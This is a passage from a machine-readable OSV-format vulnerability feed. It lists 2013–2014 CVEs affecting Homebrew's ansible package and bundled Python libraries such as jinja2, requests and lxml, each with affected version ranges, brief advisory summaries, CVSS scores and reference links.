WEB","url":"https://security-tracker.debian.org/tracker/CVE-2013-2255"},{"type":"WEB","url":"https://web.archive.org/web/20200229073508/https://www.securityfocus.com/bid/61118"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2013-4259","published":"2026-08-13T16:35:22Z","modified":"2026-11-09T08:43:30Z","upstream":["GHSA-fj24-ghp9-39v3","CVE-2013-4259","PYSEC-2013-1"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"1.2.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"14.6.0","key":"pkg:pypi/ansible@14.6.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.6.0","key":"upstream:https://github.com/ansible/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"14.6.0","key":"upstream:pkg:pypi/ansible@14.6.0"}]},"summary":"Ansible uses a socket with predictable filename in /tmp","details":"`runner/connection_plugins/ssh.py` in Ansible before 1.2.3, when using `ControlPersist`, allows local users to redirect a ssh session via a symlink attack on a socket file with a predictable name in `/tmp/`.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2013-4259"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=998223"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2013-1.yaml"},{"type":"WEB","url":"https://groups.google.com/forum/#!topic/ansible-project/UVDYW0HGcNg"},{"type":"WEB","url":"http://www.ansible.com/security"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2013-4260","published":"2026-08-13T16:35:22Z","modified":"2026-11-09T08:43:30Z","upstream":["GHSA-pcqv-c46v-2p4v","CVE-2013-4260","PYSEC-2013-2"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"1.2.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"14.6.0","key":"pkg:pypi/ansible@14.6.0"}]},"summary":"Ansible Arbitrary File Overwrite Vulnerability","details":"`lib/ansible/playbook/__init__.py` in Ansible 1.2.x before 1.2.3, when playbook does not run due to an error, allows local users to overwrite arbitrary files via a symlink attack on a retry file with a predictable name in `/var/tmp/ansible/`.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2013-4260"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/d5948d59fc863fcec6efa62fa2791928ffc5a6d1"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=998227"},{"type":"WEB","url":"https://exchange.xforce.ibmcloud.com/vulnerabilities/86898"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2013-2.yaml"},{"type":"WEB","url":"https://groups.google.com/forum/#!topic/ansible-project/UVDYW0HGcNg"},{"type":"WEB","url":"http://www.ansible.com/security"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2013-6480","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:05Z","upstream":["GHSA-g892-9h8m-r69r","CVE-2013-6480","PYSEC-2014-97"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"0.13.3","resource":"apache-libcloud","resource_purl":"pkg:pypi/apache-libcloud@3.9.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"apache-libcloud","subject_version":"3.9.1","key":"pkg:pypi/apache-libcloud@3.9.1","resource":"apache-libcloud"}]},"summary":"Libcloud does not properly scrub data when destroying a DigitalOcean node","details":"Libcloud 0.12.3 through 0.13.2 does not set the `scrub_data parameter` for the destroy DigitalOcean API, which allows local users to obtain sensitive information by leveraging a new VM.","references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2013-6480"},{"type":"WEB","url":"https://github.com/fog/fog/issues/2525"},{"type":"WEB","url":"https://github.com/apache/libcloud/commit/4449e165a00756dc61430e6ad9520f005b045d29"},{"type":"PACKAGE","url":"https://github.com/apache/libcloud"},{"type":"WEB","url":"https://github.com/apache/libcloud/blob/abba8c1719a8bda6db8efde2d46fd1b423ae4304/CHANGES.rst#compute-48"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/apache-libcloud/PYSEC-2014-97.yaml"},{"type":"WEB","url":"https://issues.apache.org/jira/browse/LIBCLOUD-487"},{"type":"WEB","url":"https://web.archive.org/web/20131230232003/https://digitalocean.com/blog_posts/transparency-regarding-data-security"},{"type":"WEB","url":"https://web.archive.org/web/20140129025443/http://www.securityfocus.com/bid/64617"},{"type":"WEB","url":"https://web.archive.org/web/20201209074449/http://www.securityfocus.com/archive/1/530624/100/0/threaded"},{"type":"WEB","url":"http://libcloud.apache.org/security.html"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-updates/2014-02/msg00015.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2014-0012","published":"2026-08-13T16:35:22Z","modified":"2026-10-09T02:52:46Z","upstream":["GHSA-fqh9-2qgg-h84h","CVE-2014-0012","PYSEC-2014-82"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.2.2"},{"fixed":"1.9.1_2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.7.2","resource":"jinja2","resource_purl":"pkg:pypi/jinja2@3.1.6"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"jinja2","subject_version":"3.1.6","key":"pkg:pypi/jinja2@3.1.6","resource":"jinja2"}]},"summary":"Insecure Temporary File in Jinja2","details":"FileSystemBytecodeCache in Jinja2 prior to version 2.7.2 does not properly create temporary directories, which allows local users to gain privileges by pre-creating a temporary directory with a user's uid. NOTE: this vulnerability exists because of an incomplete fix for CVE-2014-1402.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2014-0012"},{"type":"WEB","url":"https://github.com/mitsuhiko/jinja2/pull/292"},{"type":"WEB","url":"https://github.com/mitsuhiko/jinja2/pull/296"},{"type":"WEB","url":"https://github.com/pallets/jinja2/pull/292"},{"type":"WEB","url":"https://github.com/pallets/jinja2/pull/296"},{"type":"WEB","url":"https://github.com/mitsuhiko/jinja2/commit/acb672b6a179567632e032f547582f30fa2f4aa7"},{"type":"WEB","url":"https://github.com/pallets/jinja/commit/acb672b6a179567632e032f547582f30fa2f4aa7"},{"type":"WEB","url":"https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=734747"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=1051421"},{"type":"PACKAGE","url":"https://github.com/pallets/jinja2"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/jinja2/PYSEC-2014-82.yaml"},{"type":"WEB","url":"http://seclists.org/oss-sec/2014/q1/73"},{"type":"WEB","url":"http://www.gentoo.org/security/en/glsa/glsa-201408-13.xml"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2014-0105","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:05Z","upstream":["GHSA-gwvq-rgqf-993f","CVE-2014-0105","PYSEC-2014-70"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"0.7.0","resource":"python-keystoneclient","resource_purl":"pkg:pypi/python-keystoneclient@6.0.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"python-keystoneclient","subject_version":"6.0.0","key":"pkg:pypi/python-keystoneclient@6.0.0","resource":"python-keystoneclient"}]},"summary":"python-keystoneclient vulnerable to context confusion in Keystone auth_token middleware","details":"A context confusion vulnerability was identified in Keystone auth_token middleware (shipped in python-keystoneclient) before 0.7.0. By doing repeated requests, with sufficient load on the target system, an authenticated user may in certain situations assume another authenticated user's complete identity and multi-tenant authorizations, potentially resulting in a privilege escalation. Note that it is related to a bad interaction between eventlet and python-memcached that should be avoided if the calling process already monkey-patches \"thread\" to use eventlet. Only keystone middleware setups using auth_token with memcache are vulnerable.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:L/A:L"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:N/SC:L/SI:L/SA:L"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2014-0105"},{"type":"WEB","url":"https://bugs.launchpad.net/python-keystoneclient/+bug/1282865"},{"type":"PACKAGE","url":"https://github.com/openstack/python-keystoneclient"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/python-keystoneclient/PYSEC-2014-70.yaml"},{"type":"WEB","url":"https://review.opendev.org/c/openstack/python-keystoneclient/+/81078"},{"type":"WEB","url":"http://rhn.redhat.com/errata/RHSA-2014-0382.html"},{"type":"WEB","url":"http://rhn.redhat.com/errata/RHSA-2014-0409.html"},{"type":"WEB","url":"http://www.openwall.com/lists/oss-security/2014/03/27/4"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2014-1402","published":"2026-08-13T16:35:22Z","modified":"2026-10-09T02:52:46Z","upstream":["GHSA-8r7q-cvjq-x353","CVE-2014-1402","PYSEC-2014-8"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.2.2"},{"fixed":"1.9.1_2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.7.2","resource":"jinja2","resource_purl":"pkg:pypi/jinja2@3.1.6"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"jinja2","subject_version":"3.1.6","key":"pkg:pypi/jinja2@3.1.6","resource":"jinja2"}]},"summary":"Incorrect Privilege Assignment in Jinja2","details":"The default configuration for `bccache.FileSystemBytecodeCache` in Jinja2 before 2.7.2 does not properly create temporary files, which allows local users to gain privileges via a crafted .cache file with a name starting with `__jinja2_` in `/tmp`.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2014-1402"},{"type":"WEB","url":"https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=734747"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=1051421"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-8r7q-cvjq-x353"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/jinja2/PYSEC-2014-8.yaml"},{"type":"WEB","url":"https://oss.oracle.com/pipermail/el-errata/2014-June/004192.html"},{"type":"WEB","url":"https://web.archive.org/web/20150523060528/http://www.mandriva.com/en/support/security/advisories/advisory/MDVSA-2014:096/?name=MDVSA-2014:096"},{"type":"WEB","url":"http://advisories.mageia.org/MGASA-2014-0028.html"},{"type":"WEB","url":"http://jinja.pocoo.org/docs/changelog"},{"type":"WEB","url":"http://openwall.com/lists/oss-security/2014/01/10/2"},{"type":"WEB","url":"http://openwall.com/lists/oss-security/2014/01/10/3"},{"type":"WEB","url":"http://rhn.redhat.com/errata/RHSA-2014-0747.html"},{"type":"WEB","url":"http://rhn.redhat.com/errata/RHSA-2014-0748.html"},{"type":"WEB","url":"http://www.gentoo.org/security/en/glsa/glsa-201408-13.xml"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2014-1829","published":"2026-08-13T16:35:22Z","modified":"2026-10-07T23:12:57Z","upstream":["GHSA-cfj3-7x9c-4p3h","CVE-2014-1829","PYSEC-2014-13"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.7.2"},{"fixed":"1.8.2_1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.3.0","resource":"requests","resource_purl":"pkg:pypi/requests@2.34.2"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"requests","subject_version":"2.34.2","key":"pkg:pypi/requests@2.34.2","resource":"requests"}]},"summary":"Exposure of Sensitive Information to an Unauthorized Actor in Requests","details":"Requests (aka python-requests) before 2.3.0 allows remote servers to obtain a netrc password by reading the Authorization header in a redirected request.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2014-1829"},{"type":"WEB","url":"https://github.com/kennethreitz/requests/issues/1885"},{"type":"WEB","url":"https://github.com/psf/requests/issues/1885"},{"type":"WEB","url":"https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=733108"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-cfj3-7x9c-4p3h"},{"type":"PACKAGE","url":"https://github.com/psf/requests"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/requests/PYSEC-2014-13.yaml"},{"type":"WEB","url":"https://web.archive.org/web/20150523055216/http://www.mandriva.com/en/support/security/advisories/advisory/MDVSA-2015:133/?name=MDVSA-2015:133"},{"type":"WEB","url":"http://advisories.mageia.org/MGASA-2014-0409.html"},{"type":"WEB","url":"http://www.debian.org/security/2015/dsa-3146"},{"type":"WEB","url":"http://www.mandriva.com/security/advisories?name=MDVSA-2015:133"},{"type":"WEB","url":"http://www.ubuntu.com/usn/USN-2382-1"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2014-1830","published":"2026-08-13T16:35:22Z","modified":"2026-10-07T23:12:56Z","upstream":["GHSA-652x-xj99-gmcc","CVE-2014-1830","PYSEC-2014-14"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.7.2"},{"fixed":"1.8.2_1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.3.0","resource":"requests","resource_purl":"pkg:pypi/requests@2.34.2"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"requests","subject_version":"2.34.2","key":"pkg:pypi/requests@2.34.2","resource":"requests"}]},"summary":"Exposure of Sensitive Information to an Unauthorized Actor in Requests","details":"Requests (aka python-requests) before 2.3.0 allows remote servers to obtain sensitive information by reading the Proxy-Authorization header in a redirected request.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2014-1830"},{"type":"WEB","url":"https://github.com/kennethreitz/requests/issues/1885"},{"type":"WEB","url":"https://github.com/psf/requests/issues/1885"},{"type":"WEB","url":"https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=733108"},{"type":"PACKAGE","url":"https://github.com/psf/requests"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/requests/PYSEC-2014-14.yaml"},{"type":"WEB","url":"https://web.archive.org/web/20150523055216/http://www.mandriva.com/en/support/security/advisories/advisory/MDVSA-2015:133/?name=MDVSA-2015:133"},{"type":"WEB","url":"http://advisories.mageia.org/MGASA-2014-0409.html"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-updates/2016-01/msg00095.html"},{"type":"WEB","url":"http://www.debian.org/security/2015/dsa-3146"},{"type":"WEB","url":"http://www.mandriva.com/security/advisories?name=MDVSA-2015:133"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2014-2686","published":"2026-08-13T16:35:22Z","modified":"2026-11-09T08:43:30Z","upstream":["GHSA-49m5-2838-q2rv","CVE-2014-2686","PYSEC-2020-198"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"1.5.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"14.6.0","key":"pkg:pypi/ansible@14.6.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.6.0","key":"upstream:https://github.com/ansible/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"14.6.0","key":"upstream:pkg:pypi/ansible@14.6.0"}]},"summary":"Ansible unsafe evaluation of some strings","details":"Ansible prior to 1.5.4 mishandles the evaluation of some strings.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2014-2686"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/998793fd0ab55705d57527a38cee5e83f535974c"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2020-198.yaml"},{"type":"WEB","url":"https://groups.google.com/forum/#!searchin/ansible-project/1.5.4/ansible-project/MUQxiKwSQDc/id6aVaawVboJ"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2014-3146","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:05Z","upstream":["GHSA-57qw-cc2g-pv5p","CVE-2014-3146","PYSEC-2014-9"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.3.5","resource":"lxml","resource_purl":"pkg:pypi/lxml@6.1.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"lxml","subject_version":"6.1.3","key":"pkg:pypi/lxml@6.1.3","resource":"lxml"}]},"summary":"lxml Cross-site Scripting Via Control Characters","details":"Incomplete blacklist vulnerability in the `lxml.html.clean` module in lxml before 3.3.5 allows remote attackers to conduct cross-site scripting (XSS) attacks via control characters in the link scheme to the `clean_html` function.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2014-3146"},{"type":"WEB","url":"https://github.com/lxml/lxml/pull/273"},{"type":"WEB","url":"https://github.com/lxml/lxml/commit/3f3082e0a67851cde26a48da3d1f4b75d8aa07ec"},{"type":"WEB","url":"https://github.com/lxml/lxml/commit/86e81ab393ba14c1be71284675851a3bdce57d69"},{"type":"WEB","url":"https://github.com/lxml/lxml/commit/e86b294f1f81b899a59925123560ff924a72f1cc"},{"type":"PACKAGE","url":"https://github.com/lxml/lxml"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/lxml/PYSEC-2014-9.yaml"},{"type":"WEB","url":"https://mailman-mail5.webfaction.com/pipermail/lxml/2014-April/007128.html"},{"type":"WEB","url":"https://web.archive.org/web/20140724172044/http://secunia.com/advisories/58013"},{"type":"WEB","url":"https://web.archive.org/web/20140805110535/http://secunia.com/advisories/59008"},{"type":"WEB","url":"https://web.archive.org/web/20140806061046/http://secunia.com/advisories/58744"},{"type":"WEB","url":"https://web.archive.org/web/20141017122607/https://mailman-mail5.webfaction.com/pipermail/lxml/2014-April/007128.html"},{"type":"WEB","url":"https://web.archive.org/web/20150523055039/http://www.mandriva.com/en/support/security/advisories/advisory/MDVSA-2015:112/?name=MDVSA-2015:112"},{"type":"WEB","url":"https://web.archive.org/web/20200228180542/http://www.securityfocus.com/bid/67159"},{"type":"WEB","url":"http://advisories.mageia.org/MGASA-2014-0218.html"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-updates/2014-05/msg00083.html"},{"type":"WEB","url":"http://lxml.de/3.3/changes-3.3.5.html"},{"type":"WEB","url":"http://seclists.org/fulldisclosure/2014/Apr/210"},{"type":"WEB","url":"http://seclists.org/fulldisclosure/2014/Apr/319"},{"type":"WEB","url":"http://www.debian.org/security/2014/dsa-2941"},{"type":"WEB","url":"http://www.openwall.com/lists/oss-security/2014/05/09/7"},{"type":"WEB","url":"http://www.ubuntu.com/usn/USN-2217-1"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2014-3498","published":"2026-08-13T16:35:22Z","modified":"2026-11-09T08:43:30Z","upstream":["PYSEC-2017-2","CVE-2014-3498","GHSA-4cvm-5776-jx9f"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"1.6.6"}}],"database_specific":{"source":"matched","strategy":"git","confidence":"high","upstream_evidence":[{"strategy":"git","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.6.0","key":"https://github.com/ansible/ansible"},{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"14.6.0","key":"pkg:pypi/ansible@14.6.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.6.0","key":"upstream:https://github.com/ansible/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"14.6.0","key":"upstream:pkg:pypi/ansible@14.6.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"details":"The user module in ansible before 1.6.6 allows remote authenticated users to execute arbitrary commands.","references":[{"type":"FIX","url":"https://github.com/ansible/ansible/commit/8ed6350e65c82292a631f08845dfaacffe7f07f5"},{"type":"REPORT","url":"https://bugzilla.redhat.com/show_bug.cgi?id=1335551"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-4cvm-5776-jx9f"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2014-4657","published":"2026-08-13T16:35:22Z","modified":"2026-11-09T08:43:30Z","upstream":["GHSA-qg47-5px9-32g7","CVE-2014-4657","PYSEC-2020-199"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"1.5.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"14.6.0","key":"pkg:pypi/ansible@14.6.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.6.0","key":"upstream:https://github.com/ansible/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"14.6.0","key":"upstream:pkg:pypi/ansible@14.6.0"}]},"summary":"Ansible Remote Code Execution","details":"The `safe_eval` function in Ansible before 1.5.4 does not properly restrict the code subset, which allows remote attackers to execute arbitrary code via crafted instructions.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2014-4657"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/998793fd0ab55705d57527a38cee5e83f535974c"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/ansible/ansible/blob/release1.5.5/CHANGELOG.md"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2020-199.yaml"},{"type":"WEB","url":"https://web.archive.org/web/20210120133852/https://www.securityfocus.com/bid/68232"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2014-4658","published":"2026-08-13T16:35:22Z","modified":"2026-11-09T08:43:30Z","upstream":["GHSA-5g4v-2pc6-4hh4","CVE-2014-4658","PYSEC-2020-200"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"1.5.5"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"14.6.0","key":"pkg:pypi/ansible@14.6.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.6.0","key":"upstream:https://github.com/ansible/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"14.6.0","key":"upstream:pkg:pypi/ansible@14.6.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible Sensitive Files Are Locally Readable","details":"The vault subsystem in Ansible before 1.5.5 does not set the umask before creation or modification of a vault file, which allows local users to obtain sensitive key information by reading a 